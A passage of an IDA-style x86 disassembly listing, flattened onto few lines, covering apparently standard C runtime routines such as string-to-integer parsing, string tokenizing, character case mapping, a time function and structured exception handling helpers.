sub_4174C6+4Cj inc edx cmp [edx], bl jnz short loc_417508 jmp loc_4175D1 ; --------------------------------------------------------------------------- loc_417523: ; CODE XREF: sub_4174C6+33j push 1 push dword ptr [esi+4] push ebx push ebx push 0FFFFFFFFh push [ebp+arg_0] push 200h push eax call sub_41C1A9 add esp, 20h mov [ebp+var_24], eax cmp eax, ebx jz loc_4175CE mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_28], edi or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41757B ; --------------------------------------------------------------------------- loc_417564: ; DATA XREF: .text:stru_42BE30o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_417568: ; DATA XREF: .text:stru_42BE30o mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor ebx, ebx xor edi, edi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41757B: ; CODE XREF: sub_4174C6+9Cj cmp edi, ebx jnz short loc_417595 push [ebp+var_24] call sub_416E1F pop ecx mov edi, eax mov [ebp+var_1C], 1 cmp edi, ebx jz short loc_4175C2 loc_417595: ; CODE XREF: sub_4174C6+B7j push 1 push dword ptr [esi+4] push [ebp+var_24] push edi push 0FFFFFFFFh push [ebp+arg_0] push 200h push dword ptr [esi+14h] call sub_41C1A9 add esp, 20h test eax, eax jz short loc_4175C2 push edi push [ebp+arg_0] call sub_41BFE0 pop ecx pop ecx loc_4175C2: ; CODE XREF: sub_4174C6+CDj ; sub_4174C6+EFj cmp [ebp+var_1C], ebx jz short loc_4175CE push edi call sub_416D07 pop ecx loc_4175CE: ; CODE XREF: sub_4174C6+7Cj ; sub_4174C6+FFj mov eax, [ebp+arg_0] loc_4175D1: ; CODE XREF: sub_4174C6+3Cj ; sub_4174C6+58j lea esp, [ebp-34h] call __SEH_epilog retn sub_4174C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175DA proc near ; CODE XREF: sub_417799+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_4191CF mov esi, [eax+64h] cmp esi, off_4323FC jz short loc_4175F8 call sub_419FFE mov esi, eax loc_4175F8: ; CODE XREF: sub_4175DA+15j mov ecx, [ebp+arg_0] and [ebp+var_4], 0 mov bl, [ecx] lea edi, [ecx+1] loc_417604: ; CODE XREF: sub_4175DA+55j cmp dword ptr [esi+28h], 1 movzx eax, bl jle short loc_41761E push 8 push eax push esi call sub_419DFB mov ecx, [ebp+arg_0] add esp, 0Ch jmp short loc_417628 ; --------------------------------------------------------------------------- loc_41761E: ; CODE XREF: sub_4175DA+31j mov edx, [esi+48h] movzx eax, byte ptr [edx+eax*2] and eax, 8 loc_417628: ; CODE XREF: sub_4175DA+42j test eax, eax jz short loc_417631 mov bl, [edi] inc edi jmp short loc_417604 ; --------------------------------------------------------------------------- loc_417631: ; CODE XREF: sub_4175DA+50j cmp bl, 2Dh jnz short loc_41763C or [ebp+arg_C], 2 jmp short loc_417641 ; --------------------------------------------------------------------------- loc_41763C: ; CODE XREF: sub_4175DA+5Aj cmp bl, 2Bh jnz short loc_417644 loc_417641: ; CODE XREF: sub_4175DA+60j mov bl, [edi] inc edi loc_417644: ; CODE XREF: sub_4175DA+65j mov eax, [ebp+arg_8] test eax, eax jl loc_417789 cmp eax, 1 jz loc_417789 cmp eax, 24h jg loc_417789 test eax, eax push 10h pop ecx jnz short loc_41768C cmp bl, 30h jz short loc_417676 mov [ebp+arg_8], 0Ah jmp short loc_4176A4 ; --------------------------------------------------------------------------- loc_417676: ; CODE XREF: sub_4175DA+91j mov al, [edi] cmp al, 78h jz short loc_417689 cmp al, 58h jz short loc_417689 mov [ebp+arg_8], 8 jmp short loc_4176A4 ; --------------------------------------------------------------------------- loc_417689: ; CODE XREF: sub_4175DA+A0j ; sub_4175DA+A4j mov [ebp+arg_8], ecx loc_41768C: ; CODE XREF: sub_4175DA+8Cj cmp [ebp+arg_8], ecx jnz short loc_4176A4 cmp bl, 30h jnz short loc_4176A4 mov al, [edi] cmp al, 78h jz short loc_4176A0 cmp al, 58h jnz short loc_4176A4 loc_4176A0: ; CODE XREF: sub_4175DA+C0j inc edi mov bl, [edi] inc edi loc_4176A4: ; CODE XREF: sub_4175DA+9Aj ; sub_4175DA+ADj ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] loc_4176AC: ; CODE XREF: sub_4175DA+134j mov esi, off_432A60 movzx ecx, bl mov cx, [esi+ecx*2] test cl, 4 jz short loc_4176C6 movsx ecx, bl sub ecx, 30h jmp short loc_4176E5 ; --------------------------------------------------------------------------- loc_4176C6: ; CODE XREF: sub_4175DA+E2j test cx, 103h jz short loc_417710 cmp bl, 61h jl short loc_4176DF cmp bl, 7Ah jg short loc_4176DF movsx ecx, bl sub ecx, 20h jmp short loc_4176E2 ; --------------------------------------------------------------------------- loc_4176DF: ; CODE XREF: sub_4175DA+F6j ; sub_4175DA+FBj movsx ecx, bl loc_4176E2: ; CODE XREF: sub_4175DA+103j add ecx, 0FFFFFFC9h loc_4176E5: ; CODE XREF: sub_4175DA+EAj cmp ecx, [ebp+arg_8] jnb short loc_417710 or [ebp+arg_C], 8 cmp [ebp+var_4], eax jb short loc_4176FF jnz short loc_4176F9 cmp ecx, edx jbe short loc_4176FF loc_4176F9: ; CODE XREF: sub_4175DA+119j or [ebp+arg_C], 4 jmp short loc_41770B ; --------------------------------------------------------------------------- loc_4176FF: ; CODE XREF: sub_4175DA+117j ; sub_4175DA+11Dj mov esi, [ebp+var_4] imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_4], esi loc_41770B: ; CODE XREF: sub_4175DA+123j mov bl, [edi] inc edi jmp short loc_4176AC ; --------------------------------------------------------------------------- loc_417710: ; CODE XREF: sub_4175DA+F1j ; sub_4175DA+10Ej mov eax, [ebp+arg_C] dec edi test al, 8 jnz short loc_417727 cmp [ebp+arg_4], 0 jz short loc_417721 mov edi, [ebp+arg_0] loc_417721: ; CODE XREF: sub_4175DA+142j and [ebp+var_4], 0 jmp short loc_417772 ; --------------------------------------------------------------------------- loc_417727: ; CODE XREF: sub_4175DA+13Cj test al, 4 mov esi, 7FFFFFFFh jnz short loc_41774B test al, 1 jnz short loc_417772 and eax, 2 jz short loc_417742 cmp [ebp+var_4], 80000000h ja short loc_41774B loc_417742: ; CODE XREF: sub_4175DA+15Dj test eax, eax jnz short loc_417772 cmp [ebp+var_4], esi jbe short loc_417772 loc_41774B: ; CODE XREF: sub_4175DA+154j ; sub_4175DA+166j call sub_41B9A5 test byte ptr [ebp+arg_C], 1 mov dword ptr [eax], 22h jz short loc_417762 or [ebp+var_4], 0FFFFFFFFh jmp short loc_417772 ; --------------------------------------------------------------------------- loc_417762: ; CODE XREF: sub_4175DA+180j mov al, byte ptr [ebp+arg_C] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_4], eax loc_417772: ; CODE XREF: sub_4175DA+14Bj ; sub_4175DA+158j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41777B mov [eax], edi loc_41777B: ; CODE XREF: sub_4175DA+19Dj test byte ptr [ebp+arg_C], 2 jz short loc_417784 neg [ebp+var_4] loc_417784: ; CODE XREF: sub_4175DA+1A5j mov eax, [ebp+var_4] jmp short loc_417794 ; --------------------------------------------------------------------------- loc_417789: ; CODE XREF: sub_4175DA+6Fj ; sub_4175DA+78j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_417792 mov [eax], ecx loc_417792: ; CODE XREF: sub_4175DA+1B4j xor eax, eax loc_417794: ; CODE XREF: sub_4175DA+1ADj pop edi pop esi pop ebx leave retn sub_4175DA endp ; =============== S U B R O U T I N E ======================================= sub_417799 proc near ; CODE XREF: sub_4042A2+440p ; sub_409848+2AF8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4175DA add esp, 10h retn sub_417799 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177B0 proc near ; CODE XREF: sub_4042A2+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call dword_422160 ; GetSystemTimeAsFileTime mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc ecx, 0FE624E21h push ecx push eax call sub_4184F0 mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_4177E7 mov [ecx], eax locret_4177E7: ; CODE XREF: sub_4177B0+33j leave retn sub_4177B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177E9 proc near ; CODE XREF: sub_404849+2Ap ; sub_4052D1+FDp ... var_24 = byte ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h mov eax, dword_432A68 xor eax, [ebp+4] push ebx push esi mov esi, [ebp+arg_4] push edi mov [ebp+var_4], eax call sub_4191CF push 8 pop ecx mov [ebp+arg_4], eax xor eax, eax lea edi, [ebp+var_24] push 7 rep stosd pop edi loc_417815: ; CODE XREF: sub_4177E9+45j mov dl, [esi] movzx ecx, dl mov eax, ecx and ecx, edi mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+var_24] or [eax], bl inc esi test dl, dl jnz short loc_417815 mov edx, [ebp+arg_0] test edx, edx jnz short loc_417844 mov eax, [ebp+arg_4] mov edx, [eax+18h] jmp short loc_417844 ; --------------------------------------------------------------------------- loc_41783F: ; CODE XREF: sub_4177E9+72j test al, al jz short loc_41785D inc edx loc_417844: ; CODE XREF: sub_4177E9+4Cj ; sub_4177E9+54j mov al, [edx] movzx esi, al xor ebx, ebx mov ecx, esi and ecx, edi inc ebx shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_24] test bl, cl jnz short loc_41783F loc_41785D: ; CODE XREF: sub_4177E9+58j mov ebx, edx jmp short loc_417879 ; --------------------------------------------------------------------------- loc_417861: ; CODE XREF: sub_4177E9+93j movzx esi, byte ptr [edx] xor eax, eax mov ecx, esi and ecx, edi inc eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_24] test al, cl jnz short loc_417880 inc edx loc_417879: ; CODE XREF: sub_4177E9+76j cmp byte ptr [edx], 0 jnz short loc_417861 jmp short loc_417884 ; --------------------------------------------------------------------------- loc_417880: ; CODE XREF: sub_4177E9+8Dj and byte ptr [edx], 0 inc edx loc_417884: ; CODE XREF: sub_4177E9+95j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax+18h], edx mov eax, ebx sub eax, edx neg eax sbb eax, eax xor ecx, [ebp+4] pop edi and eax, ebx pop esi pop ebx call sub_41C596 leave retn sub_4177E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178A4 proc near ; CODE XREF: sub_405E13+AFp ; sub_409848+5734p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push 14h push offset stru_42BE40 call __SEH_prolog mov esi, [ebp+arg_0] mov [ebp+var_1C], esi push esi call sub_41B102 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41C5A4 mov [ebp+var_20], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push esi call sub_418A1C mov [ebp+var_24], eax push esi push [ebp+var_20] call sub_41C62C add esp, 18h or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4178F8 mov eax, [ebp+var_24] call __SEH_epilog retn sub_4178A4 endp ; =============== S U B R O U T I N E ======================================= sub_4178F8 proc near ; CODE XREF: sub_4178A4+46p ; DATA XREF: .text:stru_42BE40o push dword ptr [ebp-1Ch] call sub_41B154 pop ecx retn sub_4178F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417902 proc near ; CODE XREF: sub_4179CA+1Ap var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] cmp dword ptr [esi+14h], 0 push edi jz loc_4179B6 cmp dword ptr [esi+24h], 0 jz short loc_417928 cmp ebx, 7Fh jbe loc_4179B6 loc_417928: ; CODE XREF: sub_417902+1Bj xor edi, edi inc edi cmp ebx, 100h jnb short loc_417952 cmp [esi+28h], edi jle short loc_417945 push edi push ebx push esi call sub_419DFB add esp, 0Ch jmp short loc_41794E ; --------------------------------------------------------------------------- loc_417945: ; CODE XREF: sub_417902+34j mov eax, [esi+48h] movzx eax, byte ptr [eax+ebx*2] and eax, edi loc_41794E: ; CODE XREF: sub_417902+41j test eax, eax jz short loc_4179C3 loc_417952: ; CODE XREF: sub_417902+2Fj mov edx, [esi+48h] mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_417973 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41797C ; --------------------------------------------------------------------------- loc_417973: ; CODE XREF: sub_417902+60j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, edi loc_41797C: ; CODE XREF: sub_417902+6Fj push edi push dword ptr [esi+4] lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 100h push dword ptr [esi+14h] call sub_41C1A9 add esp, 20h test eax, eax jz short loc_4179C3 cmp eax, edi jnz short loc_4179A9 movzx eax, [ebp+var_4] jmp short loc_4179C5 ; --------------------------------------------------------------------------- loc_4179A9: ; CODE XREF: sub_417902+9Fj movzx ecx, [ebp+var_3] xor eax, eax mov ah, [ebp+var_4] or eax, ecx jmp short loc_4179C5 ; --------------------------------------------------------------------------- loc_4179B6: ; CODE XREF: sub_417902+11j ; sub_417902+20j cmp ebx, 41h jl short loc_4179C3 cmp ebx, 5Ah lea eax, [ebx+20h] jle short loc_4179C5 loc_4179C3: ; CODE XREF: sub_417902+4Ej ; sub_417902+9Bj ... mov eax, ebx loc_4179C5: ; CODE XREF: sub_417902+A5j ; sub_417902+B2j ... pop edi pop esi pop ebx leave retn sub_417902 endp ; =============== S U B R O U T I N E ======================================= sub_4179CA proc near ; CODE XREF: sub_40734B+6p ; sub_407736+56p ... arg_0 = dword ptr 4 call sub_4191CF mov eax, [eax+64h] cmp eax, off_4323FC jz short loc_4179DF call sub_419FFE loc_4179DF: ; CODE XREF: sub_4179CA+Ej push [esp+arg_0] push eax call sub_417902 pop ecx pop ecx retn sub_4179CA endp ; =============== S U B R O U T I N E ======================================= sub_4179EC proc near ; CODE XREF: sub_407B66+27p ; sub_407BA7+4Dp arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_416DF3 pop ecx pop ecx retn sub_4179EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179FA proc near ; CODE XREF: sub_41CB16+60p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_4179FA endp ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417A2A proc near ; CODE XREF: sub_41C791+25p ; sub_41C99A+149p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417A2A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A31 proc near ; CODE XREF: sub_417ADD+5Ap ; sub_41CB16:loc_41CB39p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_417A5A push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_421936 ; RtlUnwind loc_417A5A: ; DATA XREF: sub_417A31+12o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_417A31 endp ; --------------------------------------------------------------------------- loc_417A83: ; CODE XREF: .text:00421F32j push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CE1F add esp, 20h mov [ebp-4], eax pop edi pop esi pop ebx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_417AB9: ; DATA XREF: sub_417C5D+17o cld mov eax, [esp+8] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push dword ptr [esp+20h] push dword ptr [eax+0Ch] push dword ptr [esp+20h] call sub_41CE1F add esp, 20h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; DATA XREF: sub_417CAE+Bo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_417AFE mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_417B4B ; --------------------------------------------------------------------------- loc_417AFE: ; CODE XREF: sub_417ADD+10j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CE1F add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_417B3C push [ebp+arg_0] push [ebp+arg_4] call sub_417A31 loc_417B3C: ; CODE XREF: sub_417ADD+52j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- xor eax, eax inc eax loc_417B4B: ; CODE XREF: sub_417ADD+1Fj pop ebx pop ebp retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B4E proc near ; CODE XREF: sub_41CB7D+52p ; sub_41CC3D+E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+var_4], eax mov [ebp+arg_0], esi jl short loc_417BA4 loc_417B6C: ; CODE XREF: sub_417B4E+51j cmp esi, 0FFFFFFFFh jnz short loc_417B76 call sub_41CEF6 loc_417B76: ; CODE XREF: sub_417B4E+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] lea eax, [ebx+eax*4] cmp [eax+4], ecx jge short loc_417B8A cmp ecx, [eax+8] jle short loc_417B8F loc_417B8A: ; CODE XREF: sub_417B4E+35j cmp esi, 0FFFFFFFFh jnz short loc_417B9B loc_417B8F: ; CODE XREF: sub_417B4E+3Aj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_417B9B: ; CODE XREF: sub_417B4E+3Fj cmp [ebp+arg_4], 0 jge short loc_417B6C mov eax, [ebp+var_4] loc_417BA4: ; CODE XREF: sub_417B4E+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_417BB8 cmp esi, eax jbe short loc_417BBD loc_417BB8: ; CODE XREF: sub_417B4E+64j call sub_41CEF6 loc_417BBD: ; CODE XREF: sub_417B4E+68j pop edi lea eax, [esi+esi*4] pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_417B4E endp ; =============== S U B R O U T I N E ======================================= sub_417BC8 proc near ; CODE XREF: sub_41C7F3+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov [esi], eax call sub_4191CF mov eax, [eax+84h] mov [esi+4], eax call sub_4191CF mov [eax+84h], esi mov eax, esi pop esi retn sub_417BC8 endp ; =============== S U B R O U T I N E ======================================= sub_417BF0 proc near ; CODE XREF: sub_41C936+4Bp arg_0 = dword ptr 4 call sub_4191CF mov eax, [eax+84h] jmp short loc_417C08 ; --------------------------------------------------------------------------- loc_417BFD: ; CODE XREF: sub_417BF0+1Aj mov ecx, [eax] cmp ecx, [esp+arg_0] jz short loc_417C0E mov eax, [eax+4] loc_417C08: ; CODE XREF: sub_417BF0+Bj test eax, eax jnz short loc_417BFD inc eax retn ; --------------------------------------------------------------------------- loc_417C0E: ; CODE XREF: sub_417BF0+13j xor eax, eax retn sub_417BF0 endp ; =============== S U B R O U T I N E ======================================= sub_417C11 proc near ; CODE XREF: sub_41C936+9p arg_0 = dword ptr 4 push esi call sub_4191CF mov esi, [esp+4+arg_0] cmp esi, [eax+84h] jnz short loc_417C33 call sub_4191CF mov ecx, [esi+4] mov [eax+84h], ecx pop esi retn ; --------------------------------------------------------------------------- loc_417C33: ; CODE XREF: sub_417C11+10j call sub_4191CF mov eax, [eax+84h] jmp short loc_417C49 ; --------------------------------------------------------------------------- loc_417C40: ; CODE XREF: sub_417C11+3Cj mov ecx, [eax+4] cmp esi, ecx jz short loc_417C55 mov eax, ecx loc_417C49: ; CODE XREF: sub_417C11+2Dj cmp dword ptr [eax+4], 0 jnz short loc_417C40 pop esi jmp sub_41CEF6 ; --------------------------------------------------------------------------- loc_417C55: ; CODE XREF: sub_417C11+34j mov ecx, [esi+4] mov [eax+4], ecx pop esi retn sub_417C11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C5D proc near ; CODE XREF: sub_41C7F3+71p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_10], offset loc_417AB9 mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41CF30 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CAE proc near ; CODE XREF: sub_41CB7D+33p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx and [ebp+var_28], 0 mov [ebp+var_24], offset sub_417ADD mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_417D31 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call sub_4191CF call dword ptr [eax+74h] pop ecx pop ecx and [ebp+var_34], 0 loc_417D31: ; DATA XREF: sub_417CAE+3Ao cmp [ebp+var_4], 0 jz short loc_417D4E mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_417D57 ; --------------------------------------------------------------------------- loc_417D4E: ; CODE XREF: sub_417CAE+87j mov eax, [ebp+var_28] mov large fs:0, eax loc_417D57: ; CODE XREF: sub_417CAE+9Ej mov eax, [ebp+var_34] pop ebx leave retn sub_417CAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D60 proc near ; CODE XREF: sub_41F3A8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_417D78 push [ebp+arg_0] call sub_421936 ; RtlUnwind loc_417D78: ; DATA XREF: sub_417D60+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417D60 endp ; =============== S U B R O U T I N E ======================================= sub_417D80 proc near ; DATA XREF: sub_417DA2+Ao ; sub_417E0A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_417DA1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_417DA1: ; CODE XREF: sub_417D80+10j retn sub_417D80 endp ; =============== S U B R O U T I N E ======================================= sub_417DA2 proc near ; CODE XREF: sub_41F3A8+67p ; sub_41F3A8+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_417D80 push large dword ptr fs:0 mov large fs:0, esp loc_417DBF: ; CODE XREF: sub_417DA2:loc_417DFAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_417DFC cmp esi, [esp+1Ch+arg_4] jz short loc_417DFC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_417DFA push 101h mov eax, [ebx+esi*4+8] call sub_417E36 call dword ptr [ebx+esi*4+8] loc_417DFA: ; CODE XREF: sub_417DA2+44j jmp short loc_417DBF ; --------------------------------------------------------------------------- loc_417DFC: ; CODE XREF: sub_417DA2+2Aj ; sub_417DA2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_417DA2 endp ; =============== S U B R O U T I N E ======================================= sub_417E0A proc near ; CODE XREF: sub_41C936+55p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_417D80 jnz short locret_417E2C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_417E2C mov eax, 1 locret_417E2C: ; CODE XREF: sub_417E0A+10j ; sub_417E0A+1Bj retn sub_417E0A endp ; =============== S U B R O U T I N E ======================================= sub_417E2D proc near ; CODE XREF: sub_41CF30+1Ep ; sub_41CF30+40p push ebx push ecx mov ebx, offset dword_432370 jmp short loc_417E40 sub_417E2D endp ; =============== S U B R O U T I N E ======================================= sub_417E36 proc near ; CODE XREF: sub_417DA2+4Fp ; sub_41F3A8+78p push ebx push ecx mov ebx, offset dword_432370 mov ecx, [ebp+8] loc_417E40: ; CODE XREF: sub_417E2D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_417E36 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_407BA7+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_417E50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_417E80 loc_417E70: ; CODE XREF: sub_417E80+1Fj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_417E80 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417E80 proc near ; CODE XREF: sub_407C28+21p ; sub_408363+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 